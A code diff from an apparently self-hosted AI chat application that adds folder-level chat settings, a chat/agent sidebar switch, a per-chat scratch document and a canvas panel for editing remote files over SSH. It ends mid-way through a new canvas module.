form = await request.form()
renamed = False
if "title" in form:
cleaned = str(form["title"]).strip()[:300]
if cleaned:
chat.title = cleaned
# An explicit rename must not be overwritten by auto-titling later.
chat.title_generated = True
renamed = True
if "folder_id" in form:
chat.folder_id = str(form["folder_id"]) or None
@@ -1537,6 +1611,16 @@ async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str
chat.params_json = {**(chat.params_json or {}), "reasoning_effort": seeded}
db.commit()
if renamed:
# The two out-of-band spans the `done` frame already uses, so one
# response updates the heading *and* the sidebar row. Renaming used to
# be the `/title` command alone, which set the heading and left the
# sidebar showing the old name until the next reload -- a rename that
# looks half-applied is one people do twice.
return HTMLResponse(
templates.get_template("chat/_title_oob.html").render({"chat": chat})
)
return Response(status_code=status.HTTP_204_NO_CONTENT)
src/lembas/api/files.py
+36 -1
View File
@@ -19,7 +19,7 @@ from fastapi.responses import FileResponse
from sqlalchemy import select
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.db.models import Attachment, Document, KnowledgeBase, Note
from lembas.db.models import Attachment, Chat, Document, KnowledgeBase, Note
from lembas.security import permissions
from lembas.services import files as files_service
from lembas.services import settings_store
@@ -189,6 +189,41 @@ async def attach_from_note(
)
@router.post("/from-scratch", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_scratch(
request: Request, db: Db, user: RequiredUser, chat_id: str = Form("")
) -> Response:
"""Attach this chat's scratch document.
A copy, like every other attach path, and here the reason is at its
sharpest: the pad goes on being written after the message is sent, by the
person and by the model, and a transcript that changed underneath itself
every time either of them typed would be no record at all.
"""
from lembas.services import scratch as scratch_service
chat = db.get(Chat, chat_id) if chat_id else None
if chat is None or chat.user_id != user.id:
return _not_available(request, "scratch document")
doc = scratch_service.get(db, chat)
if doc is None or not (doc.body or "").strip():
return _not_available(request, "scratch document")
return _chip(
request,
files_service.store_text(
db,
user_id=user.id,
chat_id=chat.id,
filename=f"{doc.title or 'scratch'}.md",
text=doc.body,
source_path=doc.title or "Scratch",
source_label="Scratch",
),
)
@router.post("/from-skill", dependencies=[Depends(require_permission("files.upload"))])
async def attach_from_skill(
request: Request, db: Db, user: RequiredUser, skill_id: str = Form(""), chat_id: str = Form("")
src/lembas/api/folders.py
+70 -12
View File
@@ -2,11 +2,12 @@
from __future__ import annotations
from fastapi import APIRouter, Depends, Form, HTTPException, Response, status
from fastapi import APIRouter, Depends, Form, HTTPException, Request, Response, status
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser, require_permission
from lembas.db.models import Folder
from lembas.db.models import KINDS, Folder
from lembas.services.agent import policy as agent_policy
# Every route here manages folders, so the guard belongs on the router.
router = APIRouter(
@@ -47,13 +48,26 @@ def _refresh_sidebar() -> Response:
return response
def _prompted(request: Request) -> str:
"""What somebody typed into an `hx-prompt` dialog, if anything.
htmx sends it as a header rather than a field, because the element carrying
the attribute may not be a form control at all. `ui.js` swaps the browser's
own prompt for the themed one and hands the answer back through the same
header, so this reads identically either way.
"""
return (request.headers.get("HX-Prompt") or "").strip()
@router.post("")
async def create_folder(
request: Request,
db: Db,
user: RequiredUser,
name: str = Form("New folder"),
name: str = Form(""),
parent_id: str = Form(""),
) -> Response:
name = name.strip() or _prompted(request)
parent = _owned_folder(db, parent_id, user.id) if parent_id else None
# A cap on nesting, so a runaway client cannot build a tree deep enough to
@@ -67,7 +81,7 @@ async def create_folder(
db.add(
Folder(
user_id=user.id,
name=name.strip()[:200] or "New folder",
name=name[:200] or "New folder",
parent_id=parent.id if parent else None,
)
)
@@ -75,21 +89,47 @@ async def create_folder(
return _refresh_sidebar()
# The settings a folder hands to chats started inside it, and how far each may
# run. A table rather than a run of `if` blocks so the save handler and the form
# cannot come to disagree about which fields exist -- the same reasoning the
# tool label table carries.
_SEEDS = {
"description": 500,
"system_prompt": 20_000,
"model_id": 300,
"ssh_profile_id": 32,
"project_dir": 1000,
}
@router.patch("/{folder_id}")
async def update_folder(
request: Request,
db: Db,
user: RequiredUser,
folder_id: str,
name: str | None = Form(None),
parent_id: str | None = Form(None),
collapsed: bool | None = Form(None),
) -> Response:
"""Rename, move, collapse, or set what this folder hands to its chats.
Reads the raw form rather than declaring `Form(None)` parameters, because
FastAPI cannot tell an empty field from an absent one -- a submitted `x=`
arrives as None, so "clear this prompt" and "leave it alone" would be the
same request. Key presence is the distinction, which is the rule
`api/chats.py:update_chat` already follows and the reason every field here
is clearable.
"""
folder = _owned_folder(db, folder_id, user.id)
form = await request.form()
if name is not None and name.strip():
folder.name = name.strip()[:200]
# A rename can arrive from a settings form or from an `hx-prompt` button on
# the folder row; one route serves both. A blank name is ignored rather than
# stored, since a folder nobody can see the name of is one nobody can find.
name = str(form.get("name") or "").strip() or _prompted(request)
if name:
folder.name = name[:200]
if parent_id is not None:
if "parent_id" in form:
parent_id = str(form["parent_id"]).strip()
new_parent = _owned_folder(db, parent_id, user.id) if parent_id else None
# Reparenting a folder into its own subtree would detach that subtree
# from the root and make it unreachable.
@@ -103,10 +143,28 @@ async def update_folder(
cursor = db.get(Folder, cursor.parent_id) if cursor.parent_id else None
folder.parent_id = new_parent.id if new_parent else None
if collapsed is not None:
folder.collapsed = collapsed
if "collapsed" in form:
folder.collapsed = str(form["collapsed"]).lower() in ("1", "true", "on", "yes")
for field, limit in _SEEDS.items():
if field in form:
setattr(folder, field, str(form[field]).strip()[:limit])
# Both are vocabularies rather than free text, and both accept "" for "no
# opinion". Anything else is dropped rather than stored: a folder seeding a
# kind that is not a kind would hand every chat started in it a value that
# `_new_chat` then has to ignore anyway.
if "kind" in form:
wanted = str(form["kind"]).strip()
folder.kind = wanted if wanted in KINDS else ""
if "agent_mode" in form:
wanted = str(form["agent_mode"]).strip()
folder.agent_mode = wanted if wanted in agent_policy.MODES else ""
db.commit()
# One rule for every caller: reload. A rename or a move changes the tree,
# and a save from the settings page comes back showing what was stored --
# which is what somebody who pressed Save wants to see anyway.
return _refresh_sidebar()
src/lembas/api/pages.py
+128 -13
View File
@@ -8,9 +8,10 @@ from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import Db, RequiredUser
from lembas.db.models import Chat, Folder, KnowledgeBase, Message, User
from lembas.db.models import KIND_CHAT, KINDS, Chat, Folder, KnowledgeBase, Message, User
from lembas.security import permissions
from lembas.services import audio as audio_service
from lembas.services import canvas as canvas_service
from lembas.services import chat as chat_service
from lembas.services import compaction as compaction_service
from lembas.services import settings_store
@@ -185,6 +186,16 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
for m in agent_policy.MODES
],
"terminal_enabled": _terminal_enabled(db, user, chat, current),
# Any chat that exists. Deliberately not gated the way the terminal is:
# half the canvas's sources -- notes, skills, this chat's attachments,
# its own scratch document -- need no machine at all, so the terminal's
# total gate would remove a working feature because one source is
# unavailable. Absent on the new-chat screen for the reason the scope
# menu is: there is no row yet to hang a tab on.
"canvas_enabled": chat is not None,
# And whether it may *also* reach project files. Re-derived server-side
# on every canvas request; this flag only decides what the panel offers.
"canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
}
@@ -209,6 +220,18 @@ def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) ->
return ssh_service.available() == ""
def sidebar_kind(user: User) -> str:
"""Which side of the sidebar's switch this user last chose.
One resolver, because the page, the fragment route and the switch's own
pressed state all have to agree about it. Anything unrecognised -- an older
release's value, a hand-edited row -- reads as ordinary chats rather than
showing an empty sidebar nobody can explain.
"""
chosen = (user.settings_json or {}).get("sidebar_kind")
return chosen if chosen in KINDS else KIND_CHAT
def sidebar_context(db: DBSession, user: User) -> dict:
"""Folder tree plus the chats that belong to no folder.
@@ -217,29 +240,50 @@ def sidebar_context(db: DBSession, user: User) -> dict:
Only root folders are queried; children come through the relationship and
render recursively in the template.
Everything is narrowed to one `Chat.kind`. A folder the filter has emptied
is dropped here rather than in the template, so the "Folders" heading cannot
appear above nothing -- the same reason `visible_chats` moved off the
template in the first place. `shown_in` is what draws that line: a folder
that was empty to begin with is kept, on both sides.
"""
folders = list(
db.scalars(
# With the switch absent the sidebar goes back to showing everything, rather
# than to one side of a fork nobody can move. An administrator turning agent
# chats off would otherwise strand whoever last left the switch on Agents in
# a sidebar that is empty with no way out of it.
split = permissions.has(db, user, "agent.ssh") and bool(
settings_store.agents(db).get("enabled")
)
kind = sidebar_kind(user) if split else ""
folders = [
folder
for folder in db.scalars(
select(Folder)
.where(Folder.user_id == user.id, Folder.parent_id.is_(None))
.order_by(Folder.position, Folder.name)
)
)
unfiled = list(
db.scalars(
select(Chat)
.where(
if folder.shown_in(kind)
]
narrowed = select(Chat).where(
Chat.user_id == user.id,
Chat.folder_id.is_(None),
Chat.archived.is_(False),
Chat.temporary.is_(False),
)
.order_by(Chat.pinned.desc(), Chat.updated_at.desc())
)
if kind:
narrowed = narrowed.where(Chat.kind == kind)
unfiled = list(
db.scalars(narrowed.order_by(Chat.pinned.desc(), Chat.updated_at.desc()))
)
return {
"folders": folders,
"unfiled_chats": unfiled,
"sidebar_kind": kind,
# Whether the switch is worth showing at all. A two-way switch with one
# useful side is worse than no switch: it offers a view that is empty by
# construction and cannot be made otherwise.
"sidebar_split": split,
"can": permissions.resolve(db, user),
}
@@ -315,22 +359,52 @@ async def offline(request: Request) -> Response:
@router.get("/chat")
async def chat_index(
request: Request, db: Db, user: RequiredUser, model: str = "", temporary: bool = False
request: Request,
db: Db,
user: RequiredUser,
model: str = "",
temporary: bool = False,
kind: str = "",
folder: str = "",
):
"""A composer with no chat behind it yet.
`?model=` preselects one, which is how the pinned shortcuts work without
creating a row for a chat that may never be sent. `?temporary=1` is the
same idea for the temporary flag: it lives in the URL rather than in
JavaScript, so it survives a reload and can be bookmarked.
JavaScript, so it survives a reload and can be bookmarked. `?kind=agent`
is how the sidebar's Agent side opens a new chat already on that side --
a preselection like the other two, not a decision: the kind is still
chosen on the screen and still fixed only when the first message is sent.
`?folder=` is the same again, and is what "New chat here" on a folder row
posts: the chat is filed there, and `_new_chat` fills in whatever the
folder seeds and the screen left empty.
"""
context = _chat_context(db, user, None)
# Somebody else's folder id in the URL is ignored rather than refused. It
# would only ever get there by hand, and an error page holding a composer
# hostage over a bad query string helps nobody.
starting_folder = db.get(Folder, folder) if folder else None
if starting_folder is not None and starting_folder.user_id != user.id:
starting_folder = None
# A folder that fixes the kind picks the fork, unless the URL already said.
if not kind and starting_folder is not None:
kind = starting_folder.kind
# Fall back to the same choice a new chat would make -- the user's default,
# then the instance default, then first in order. Using models[0] here
# instead would show a model the chat is not going to use, which matters:
# the composer decides from it whether to warn that images will be dropped.
preselected = next((m for m in context["models"] if m.model_id == model), None)
# The folder's own model, ahead of the reader's default and behind an
# explicit `?model=`. Same order `_new_chat` applies, so the picker shows
# the model the chat is actually going to be created with -- which matters,
# because the composer decides from it whether to warn about images.
if preselected is None and starting_folder is not None and starting_folder.model_id:
preselected = next(
(m for m in context["models"] if m.model_id == starting_folder.model_id), None
)
if preselected is None:
chosen = chat_service.default_model(db, user)
if chosen is not None:
@@ -350,12 +424,46 @@ async def chat_index(
**context,
"current_model": preselected,
"starting_temporary": temporary,
"starting_kind": kind if kind in KINDS else KIND_CHAT,
"starting_folder": starting_folder,
"suggestions": suggestions_service.visible(db),
**sidebar_context(db, user),
},
)
@router.get("/folders/{folder_id}")
async def folder_settings(request: Request, db: Db, user: RequiredUser, folder_id: str):
"""What a folder hands to the chats started inside it.
A page rather than a row that expands, following the admin convention: a
form per row in a tree that nests eight deep would be unusable, and the
sidebar is the one part of the application that has to stay scannable.
Guarded by `folder.manage`, the same permission the whole folder router
carries -- editing a folder's system prompt is managing a folder, and a page
that renders for somebody whose save is going to 403 is a trap.
"""
if not permissions.has(db, user, "folder.manage"):
raise HTTPException(status.HTTP_403_FORBIDDEN, "You cannot manage folders.")
folder = db.get(Folder, folder_id)
if folder is None or folder.user_id != user.id:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
return render(
request,
"folders/edit.html",
{
"folder": folder,
"chat": None,
"models": chat_service.available_models(db, user),
**_agent_context(db, user, None),
**sidebar_context(db, user),
},
)
@router.get("/chat/{chat_id}")
async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str):
chat = db.get(Chat, chat_id)
@@ -389,11 +497,18 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str
# What the chat would use if its own prompt were empty, so the settings
# panel can show it as placeholder text rather than leaving the user to
# guess what "inherited" means.
#
# This mirrors `chat_service.effective_system_prompt` and has to keep
# mirroring it, layer for layer and in the same order -- a panel naming the
# wrong source is worse than one naming none, because it is believed.
inherited, inherited_from = "", ""
folder_prompt = chat_service.folder_system_prompt(db, chat)
current = next(
(m for m in chat_service.available_models(db, user) if m.model_id == chat.model_id), None
)
if current is not None and (current.system_prompt or "").strip():
if folder_prompt:
inherited, inherited_from = folder_prompt, "folder"
elif current is not None and (current.system_prompt or "").strip():
inherited, inherited_from = current.system_prompt.strip(), "model"
else:
instance_prompt = (settings_store.get(db, "system_prompt") or "").strip()
src/lembas/api/preferences.py
+36
View File
@@ -44,6 +44,7 @@ async def set_theme(db: Db, user: RequiredUser, theme: str = Body(..., embed=Tru
# panel they cannot see to drag back.
LAYOUT_BOUNDS = {
"--terminal-width": (384, 2400),
"--canvas-width": (384, 2400),
"--inspector-width": (280, 2400),
"--sidebar-width": (200, 800),
}
@@ -76,6 +77,41 @@ async def set_layout(db: Db, user: RequiredUser, widths: dict = Body(...)) -> di
return {"ok": True, "layout": kept}
@router.post("/sidebar-kind")
async def set_sidebar_kind(
request: Request, db: Db, user: RequiredUser, kind: str = Form("")
) -> Response:
"""Switch the sidebar between ordinary chats and agent chats.
Saves and re-renders in one round trip, because the two cannot be allowed to
disagree: a switch that stored a choice and left the tree showing the other
side would look broken, and re-rendering without storing would lose it on the
next navigation. The tree comes back as a fragment rather than an `HX-Refresh`
-- a full reload is what `api/folders.py` does for a structural change, and it
would throw away the folder open/closed state on every flick of the switch,
which is the same thing `/api/chats/unread` avoids by swapping out of band.
An unrecognised value is refused rather than stored: `sidebar_kind` reads it
back as "chat" anyway, so storing it would be a preference that silently
does nothing.
"""
from lembas.api.pages import sidebar_context
from lembas.db.models import KINDS
from lembas.web.templating import templates
if kind not in KINDS:
return Response(status_code=status.HTTP_400_BAD_REQUEST)
user.settings_json = {**(user.settings_json or {}), "sidebar_kind": kind}
db.commit()
return templates.TemplateResponse(
request,
"partials/_sidebar_tree.html",
{"chat": None, "user": user, **sidebar_context(db, user)},
)
@router.post("/default-model")
async def set_default_model(
db: Db, user: RequiredUser, model_id: str = Form("")
src/lembas/db/models/__init__.py
+2
View File
@@ -18,6 +18,7 @@ from lembas.db.models.attachment import (
KIND_TEXT,
Attachment,
)
from lembas.db.models.canvas import ScratchDoc
from lembas.db.models.chat import (
KIND_AGENT,
KIND_CHAT,
@@ -124,6 +125,7 @@ __all__ = [
"Message",
"Model",
"Note",
"ScratchDoc",
"Session",
"Setting",
"Share",
src/lembas/db/models/canvas.py
+50
View File
@@ -0,0 +1,50 @@
"""A chat's own working surface."""
from __future__ import annotations
from sqlalchemy import ForeignKey, String, Text
from sqlalchemy.orm import Mapped, mapped_column
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
from lembas.db.models.library import AUTHOR_USER
class ScratchDoc(UUIDPrimaryKey, Timestamps, Base):
"""A text artefact belonging to one chat, written by either side of it.
The model can write into it, the person can edit it, and either can hand the
result to the next message as an ordinary attachment. Distinct from a note,
which is a durable artefact of the reader's that outlives the chat -- this
is the chat's own record of what it is working on, which is the same line
`plan_update` is on rather than `notes_edit`.
A separate table rather than a column on `chats` for one plain reason:
`select(Chat)` runs for the sidebar on every page load, and SQLAlchemy loads
every column -- so a Text body would ride along with two hundred sidebar
rows to answer a question about none of them.
One per chat. Several would mean a picker, names, deletion and a sweep, and
would mean the model choosing an id; one means `scratch:<chat_id>` is
derivable rather than looked up. If several are ever wanted, they are notes.
"""
__tablename__ = "scratch_docs"
chat_id: Mapped[str] = mapped_column(
String(32),
ForeignKey("chats.id", ondelete="CASCADE"),
nullable=False,
index=True,
unique=True,
)
user_id: Mapped[str] = mapped_column(
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
)
title: Mapped[str] = mapped_column(String(300), default="Scratch")
body: Mapped[str] = mapped_column(Text, default="")
# Who wrote it last, so the panel can say. Not authorisation: the chat's
# owner is the only person who can reach it either way.
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
def __repr__(self) -> str:
return f"<ScratchDoc {self.chat_id}>"
src/lembas/db/models/chat.py
+75 -3
View File
@@ -49,6 +49,28 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
collapsed: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
# What chats started in this folder inherit. A folder is where somebody
# groups the work on one thing, so it is the natural place to say "chats
# about this use this prompt, this model, this machine" -- said once rather
# than on every new chat.
description: Mapped[str] = mapped_column(String(500), default="")
# Read at request time, never copied onto the chat: editing the folder later
# has to reach the chats already in it, which is the whole point of putting
# it here. It slots into the ladder between the chat and the model.
system_prompt: Mapped[str] = mapped_column(Text, default="")
# Seeds, copied onto a new chat and then that chat's own. Empty means "no
# opinion", so a folder can carry a prompt without also dictating a model.
model_id: Mapped[str] = mapped_column(String(300), default="")
kind: Mapped[str] = mapped_column(String(16), default="")
# Deliberately not a ForeignKey. `migrations.py` compiles the column type
# only, so a REFERENCES clause would exist on a fresh database and not on an
# upgraded one -- the same reason `Chat.compacted_through_id` is a plain id.
# The profile may also have been deleted, so it is validated on read.
ssh_profile_id: Mapped[str] = mapped_column(String(32), default="")
project_dir: Mapped[str] = mapped_column(String(1000), default="")
agent_mode: Mapped[str] = mapped_column(String(16), default="")
children: Mapped[list[Folder]] = relationship(
back_populates="parent",
cascade="all, delete-orphan",
@@ -57,8 +79,7 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
parent: Mapped[Folder | None] = relationship(back_populates="children", remote_side="Folder.id")
chats: Mapped[list[Chat]] = relationship(back_populates="folder")
@property
def visible_chats(self) -> list[Chat]:
def visible_chats(self, kind: str = "") -> list[Chat]:
"""The chats in this folder that belong in the sidebar.
The relationship itself stays unfiltered -- back-population needs every
@@ -68,13 +89,52 @@ class Folder(UUIDPrimaryKey, Timestamps, Base):
existed. The unfiled list has always filtered them (api/pages.py); the
folder branch went through the relationship and filtered nothing.
`kind` narrows to one side of the sidebar's Chat/Agent switch. Empty
means both, which is what every caller outside the sidebar wants.
Ordered like the unfiled list: pinned first, then most recently touched.
"""
kept = [chat for chat in self.chats if not chat.archived and not chat.temporary]
kept = [
chat
for chat in self.chats
if not chat.archived and not chat.temporary and (not kind or chat.kind == kind)
]
kept.sort(key=lambda chat: chat.updated_at, reverse=True)
kept.sort(key=lambda chat: not chat.pinned)
return kept
def visible_children(self, kind: str = "") -> list[Folder]:
"""Sub-folders the sidebar should show on this side of the switch.
Here rather than in the template because Jinja's `selectattr` names a
test, it does not call a method -- so the filter would have to be spelled
out as a loop appending to a list, in a template that already includes
itself recursively.
"""
return [child for child in self.children if child.shown_in(kind)]
def holds(self, kind: str = "") -> bool:
"""Whether anything of this kind is anywhere under this folder.
Recursive, because a folder's only matching chat may be three levels
down and judging on its own contents alone would bury it.
"""
if self.visible_chats(kind):
return True
return any(child.holds(kind) for child in self.children)
def shown_in(self, kind: str = "") -> bool:
"""Whether this folder belongs on one side of the sidebar's switch.
Two different reasons a folder can have nothing in it, and only one of
them is a reason to hide it. A folder full of ordinary chats is noise on
the Agent side and is dropped. A folder that is empty of *everything* is
a container somebody just made and has not filled yet -- hiding that one
means it can never be found again, let alone filed into, so it shows on
both sides and says "Empty" for itself.
"""
return self.holds(kind) or not self.holds()
def __repr__(self) -> str:
return f"<Folder {self.name}>"
@@ -158,6 +218,18 @@ class Chat(UUIDPrimaryKey, Timestamps, Base):
# representations of "on" makes "why is this off?" unanswerable.
scope_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# Which files are open in the canvas panel, and which of them is in front.
# {"tabs": [{"key": "agent:/srv/app/main.py", "title": …, "source": …}],
# "active": "agent:/srv/app/main.py"}
#
# Server-side rather than in the browser because a model reading a file
# opens a tab, and every frame this application streams is HTML swapped
# whole -- if the browser owned the list, the server could not render the
# strip and the frame would have to become data for JavaScript to interpret.
# One chat, one canvas, the same consequence the terminal panel documents:
# two tabs on the same chat share it.
canvas_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
# --- Compaction ----------------------------------------------------------
# A summary of the turns up to `compacted_through_id`, sent in their place.
# The messages themselves are kept and still shown; they simply stop being
src/lembas/main.py
+2
View File
@@ -25,6 +25,7 @@ from lembas.api import (
agents,
audio,
auth,
canvas,
chats,
files,
folders,
@@ -134,6 +135,7 @@ def create_app() -> FastAPI:
app.include_router(auth.router)
app.include_router(preferences.router)
app.include_router(chats.router)
app.include_router(canvas.router)
app.include_router(terminal.router)
app.include_router(audio.router)
app.include_router(files.router)
src/lembas/security/permissions.py
+9
View File
@@ -145,6 +145,15 @@ PERMISSION_DEFS: tuple[PermissionDef, ...] = (
True,
"Chat",
),
PermissionDef(
"tools.scratch",
"Write in the canvas",
"Let a model build something up in this chat's scratch document, which "
"sits open beside the conversation and can be edited and attached to a "
"message. It belongs to the chat and is not searchable afterwards.",
True,
"Chat",
),
PermissionDef(
"audio.transcribe",
"Dictate messages",
src/lembas/services/agent/base.py
+53
View File
@@ -107,6 +107,55 @@ class RemoteEntry:
return self.name.startswith(".")
@dataclass(frozen=True)
class RemoteFile:
"""A file as somebody is about to edit it, rather than as a model reads it.
Separate from what `read_file` returns for the same reason `RemoteEntry` is
separate from `list_dir`: the model-facing contract is right for a model and
wrong here. `read_file` runs its result through `clean_output`, which strips
escape sequences and decodes with errors="replace" -- so a file opened
through it and saved back would come out rewritten.
`binary` means there is nothing safe to put in a textarea, and the tab opens
read-only. `truncated` means the same for a different reason: saving back
the first 256KB of a larger file is how the rest of it is deleted.
"""
text: str
size: int = 0
mtime: int = 0
truncated: bool = False
binary: bool = False
@property
def revision(self) -> str:
return revision_of(self.mtime, self.size)
def revision_of(mtime: int, size: int) -> str:
"""An opaque token saying which version of a file was read.
Round-tripped through a hidden field and compared on the way back in. Not a
hash: hashing means reading the whole file again on every save, and this
catches the case it exists for -- somebody else's editor, a build, a
checkout -- without it.
"""
return f"{mtime}:{size}"
class Conflict(Exception):
"""The file moved between being opened and being saved.
Carries the revision found instead, so the card offering Overwrite has
something to compare against.
"""
def __init__(self, found: str = "") -> None:
super().__init__("That file changed after it was opened.")
self.found = found
class Executor(Protocol):
"""How a target is acted on. See `ssh.py`; there is no local variant."""
@@ -116,6 +165,10 @@ class Executor(Protocol):
async def write_file(self, path: str, text: str) -> int: ...
async def read_text(self, path: str, *, max_bytes: int) -> RemoteFile: ...
async def write_text(self, path: str, text: str, *, if_unchanged: str) -> RemoteFile: ...
async def list_dir(self, path: str) -> list[str]: ...
async def scan_dir(self, path: str) -> list[RemoteEntry]: ...
src/lembas/services/agent/ssh.py
+109
View File
@@ -26,17 +26,21 @@ forgot to install it gets a sentence rather than an ImportError at startup.
from __future__ import annotations
import contextlib
import logging
import time
from typing import Any
from lembas.db.models import AUTH_PASSWORD, SshProfile
from lembas.services.agent.base import (
Conflict,
ExecError,
ExecRequest,
ExecResult,
RemoteEntry,
RemoteFile,
clean_output,
revision_of,
)
from lembas.services.crypto import decrypt
@@ -284,6 +288,111 @@ class SshExecutor:
raise self._wrap(exc) from exc
return len(payload)
# --- The same files, for somebody about to edit them ---------------------
# Deliberately not `read_file`/`write_file`, and those two are deliberately
# left exactly as they are: what they return is a contract a model has been
# shown, and it is the right contract for a model.
#
# It is the wrong one for an editor. `read_file` ends in `clean_output`,
# which strips ANSI escape sequences and decodes with errors="replace" --
# correct for the output of a command, and for a file it means that opening
# one containing an escape byte and pressing Save rewrites it with the
# escapes gone and every undecodable byte replaced by U+FFFD. `write_file`
# truncates at MAX_WRITE_BYTES, which a model is told about and a person
# pressing Save is not.
async def read_text(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> RemoteFile:
"""A file as somebody is about to edit it.
Strict decoding, so a file this cannot represent faithfully is reported
as binary rather than silently mangled into something that would be
saved back. The stat and the read share one connection: connections are
per call, so doing it in two is two handshakes and two authentications
to open one file.
"""
import asyncssh
try:
async with (
self._connect() as conn,
conn.start_sftp_client() as sftp,
sftp.open(self._resolve(path), "rb") as handle,
):
attrs = await handle.stat()
data = await handle.read(max_bytes + 1)
except asyncssh.SFTPNoSuchFile as exc:
raise ExecError(f"There is no file at {path}.") from exc
except asyncssh.SFTPPermissionDenied as exc:
raise ExecError(f"Not allowed to read {path}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
truncated = len(data) > max_bytes
data = data[:max_bytes]
size = int(getattr(attrs, "size", None) or len(data))
mtime = int(getattr(attrs, "mtime", None) or 0)
# A NUL in the first few kilobytes, or anything that will not decode.
# Either way there is nothing safe to put in a textarea.
if b"\0" in data[:8192]:
return RemoteFile("", size, mtime, truncated, binary=True)
try:
text = data.decode("utf-8")
except UnicodeDecodeError:
return RemoteFile("", size, mtime, truncated, binary=True)
return RemoteFile(text, size, mtime, truncated, binary=False)
async def write_text(self, path: str, text: str, *, if_unchanged: str = "") -> RemoteFile:
"""Write a file, refusing if it moved under the editor.
`if_unchanged` is the token `read_text` handed out. The re-stat and the
write happen on one connection, which is the narrowest window SFTP
allows; there is no compare-and-swap here and this does not pretend to
be atomic. It catches what it exists for -- another editor, a build, a
checkout between opening a tab and pressing Save -- and not a race
measured in milliseconds.
Oversize is refused rather than truncated. `write_file` truncates
because a model is told how many bytes it wrote; somebody pressing Save
would lose the tail of their file with nothing said.
"""
import asyncssh
payload = text.encode("utf-8")
if len(payload) > MAX_WRITE_BYTES:
raise ExecError(
f"That is {len(payload) // 1024}KB and the limit is "
f"{MAX_WRITE_BYTES // 1024}KB. Nothing was written."
)
target = self._resolve(path)
try:
async with self._connect() as conn, conn.start_sftp_client() as sftp:
if if_unchanged:
current = ""
with contextlib.suppress(asyncssh.SFTPNoSuchFile):
attrs = await sftp.stat(target)
current = revision_of(
int(getattr(attrs, "mtime", None) or 0),
int(getattr(attrs, "size", None) or 0),
)
if current and current != if_unchanged:
raise Conflict(current)
async with sftp.open(target, "wb") as handle:
await handle.write(payload)
attrs = await sftp.stat(target)
except asyncssh.SFTPPermissionDenied as exc:
raise ExecError(f"Not allowed to write {path}.") from exc
except (OSError, asyncssh.Error) as exc:
raise self._wrap(exc) from exc
return RemoteFile(
text,
len(payload),
int(getattr(attrs, "mtime", None) or 0),
truncated=False,
binary=False,
)
async def list_dir(self, path: str = "") -> list[str]:
import asyncssh
src/lembas/services/agent/tools.py
+45 -3
View File
@@ -343,6 +343,27 @@ def _path_key(agent: AgentContext, path: str) -> str:
return posixpath.normpath(path)
def _canvas(agent: AgentContext, path: str) -> dict[str, str]:
""""This file should be on screen."
Written onto the event because a runner cannot write the message row --
`_persist` is the single writer -- so the generation loop carries it, in
exactly the way it carries a merged plan.
The key comes from `_path_key`, the same normaliser the read-path set uses,
so a tab a model opened and a tab a person opened are one tab rather than
two spellings of the same file.
It never brings the tab to the front; see `canvas.open_tab`. This rides on
calls the model was already making, so it costs no schema and no tokens.
"""
return {
"key": f"agent:{_path_key(agent, path)}",
"title": posixpath.basename(path) or path,
"source": "agent",
}
def _forget_instructions(agent: AgentContext, path: str) -> None:
"""Drop the cached AGENTS.md when the thing just written *is* it.
@@ -395,7 +416,14 @@ async def _run_read(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
return ToolOutcome(
text or "(the file is empty)",
_event("file_read", agent, path, status="ok", text=text[:MAX_EVENT_CHARS]),
_event(
"file_read",
agent,
path,
status="ok",
text=text[:MAX_EVENT_CHARS],
canvas=_canvas(agent, path),
),
)
@@ -436,7 +464,14 @@ async def _run_write(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
index.forget_dir(agent.profile_id, agent.project_dir)
_forget_instructions(agent, path)
event = _event("file_write", agent, path, status="ok", text=f"{written} bytes")
event = _event(
"file_write",
agent,
path,
status="ok",
text=f"{written} bytes",
canvas=_canvas(agent, path),
)
if diffable and before != content:
event["diff"] = patch.render(before, content, path, max_lines=MAX_DIFF_LINES)
@@ -508,7 +543,14 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
# cares that it exists, that cache is a copy of what is in it.
_forget_instructions(agent, path)
event = _event("file_edit", agent, path, status="ok", text=f"{written} bytes")
event = _event(
"file_edit",
agent,
path,
status="ok",
text=f"{written} bytes",
canvas=_canvas(agent, path),
)
if diffable:
event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
src/lembas/services/canvas.py
+480
View File
@@ -0,0 +1,480 @@
"""What is open in the canvas panel, and where its contents come from.
Six sources behind one shape. A tab key is `"<source>:<ref>"` and every source
answers the same two questions -- load this, and save that -- through one table.
A table rather than six branches for the reason `tool_labels.py` and
`sharing.RESOURCE_TYPES` are tables: six independently written permission checks
is how one of them ends up written slightly differently, and the way *that*
failure shows up is somebody editing somebody else's note.
The panel is a person's own hands. A save on an `agent:` tab therefore does not
go through `agent/policy.py`, exactly as the terminal panel and the directory
browser do not: whoever owns the credential could write the file with `scp`.
This is the first of those exceptions that *writes*, which is worth saying out
loud -- Manual mode's "everything is shown to you before it happens" is a promise
about the model, not about the interface.
"""
from __future__ import annotations
import posixpath
from dataclasses import dataclass
from datetime import UTC
from sqlalchemy.orm import Session as DBSession
